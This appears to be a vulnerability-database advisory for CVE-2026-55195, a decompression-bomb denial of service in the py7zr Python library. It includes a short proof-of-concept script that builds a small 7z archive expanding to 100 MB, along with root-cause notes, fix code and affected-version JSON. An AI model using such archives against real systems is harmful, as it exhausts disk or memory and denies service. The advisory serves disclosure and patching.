PYSEC-2026-2972
Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:05
VLAI
Details
py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
Severity
Impacted products
| Name | purl | py7zr | pkg:pypi/py7zr |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "py7zr",
"purl": "pkg:pypi/py7zr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.3",
"0.0.4",
"0.0.5",
"0.0.6",
"0.0.7",
"0.0.8",
"0.1.0",
"0.1.1",
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.10.0",
"0.10.0a1",
"0.10.0a2",
"0.10.0a3",
"0.10.0a4",
"0.10.0a5",
"0.10.0a6",
"0.10.0b1",
"0.10.0b3",
"0.10.1",
"0.10.2",
"0.11.0",
"0.11.0a1",
"0.11.0b1",
"0.11.0b2",
"0.11.0b3",
"0.11.1",
"0.11.2",
"0.11.3",
"0.12.0",
"0.13.0",
"0.13.1",
"0.14.0",
"0.14.1",
"0.15.0",
"0.15.1",
"0.15.2",
"0.16.0",
"0.16.1",
"0.16.2",
"0.16.3",
"0.16.4",
"0.17.0",
"0.17.1",
"0.17.2",
"0.17.3",
"0.17.4",
"0.18.0",
"0.18.1",
"0.18.10",
"0.18.11",
"0.18.12",
"0.18.3",
"0.18.4",
"0.18.5",
"0.18.6",
"0.18.7",
"0.18.9",
"0.19.0",
"0.19.1",
"0.19.2",
"0.2.0",
"0.20.0",
"0.20.1",
"0.20.2",
"0.20.4",
"0.20.5",
"0.20.6",
"0.20.7",
"0.20.8",
"0.21.0",
"0.21.1",
"0.22.0",
"0.3",
"0.3.1",
"0.3.2",
"0.3.3",
"0.3.4",
"0.3.5",
"0.4",
"0.4.1",
"0.4.3",
"0.4.4",
"0.4a1",
"0.4a2",
"0.4b1",
"0.5",
"0.5.2",
"0.5.3",
"0.5.4",
"0.5.5",
"0.5a3",
"0.5a4",
"0.5b1",
"0.5b2",
"0.5b3",
"0.5b4",
"0.5b5",
"0.5b6",
"0.5rc2",
"0.5rc3",
"0.6",
"0.6a1",
"0.6a2",
"0.6b1",
"0.6b2",
"0.6b3",
"0.6b4",
"0.6b5",
"0.6b6",
"0.6b7",
"0.6b8",
"0.6rc0",
"0.7.0",
"0.7.0b1",
"0.7.0b2",
"0.7.0b3",
"0.7.1",
"0.7.2",
"0.7.3",
"0.7.4",
"0.8.0",
"0.8.0a1",
"0.8.0a2",
"0.8.0a3",
"0.8.0b1",
"0.8.0b2",
"0.8.0b3",
"0.8.0b4",
"0.8.0b5",
"0.8.0b6",
"0.8.0b7",
"0.8.0b8",
"0.8.1",
"0.8.2",
"0.8.3",
"0.8.4",
"0.8.5",
"0.9.0",
"0.9.0a1",
"0.9.0a2",
"0.9.0b1",
"0.9.0b2",
"0.9.0b3",
"0.9.1",
"0.9.10",
"0.9.2",
"0.9.3",
"0.9.4",
"0.9.5",
"0.9.7",
"0.9.8",
"0.9.9",
"1.0.0",
"1.0.0rc1",
"1.0.0rc2",
"1.0.0rc3",
"1.1.0",
"1.1.0rc2",
"1.1.0rc4",
"1.1.2"
]
}
],
"aliases": [
"CVE-2026-55195",
"GHSA-gjrg-mpp7-g774"
],
"details": "py7zr\u0027s `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive \u2192 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix=\u0027.7z\u0027)\nwith py7zr.SevenZipFile(bomb_path, \u0027w\u0027) as z:\n import io\n z.writef(io.BytesIO(b\u0027\\x00\u0027 * 100 * 1024 * 1024), \u0027bomb.bin\u0027)\n\nprint(f\u0027archive size: {os.path.getsize(bomb_path):,} bytes\u0027)\n\n# extract \u2014 no size check\nwith py7zr.SevenZipFile(bomb_path, \u0027r\u0027) as z:\n z.extractall(path=tempfile.mkdtemp())\n\nprint(\u0027extracted 100 MB from ~15 KB archive\u0027)\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python\u0027s `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n total += len(chunk)\n if total \u003e MAX_EXTRACT_SIZE:\n raise py7zr.exceptions.DecompressionBombError(\n f\u0027Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes\u0027\n )\n outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.",
"id": "PYSEC-2026-2972",
"modified": "2026-07-13T16:05:50.259973Z",
"published": "2026-07-13T15:46:22.219693Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
},
{
"type": "PACKAGE",
"url": "https://github.com/miurahr/py7zr"
},
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/py7zr"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-gjrg-mpp7-g774"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55195"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…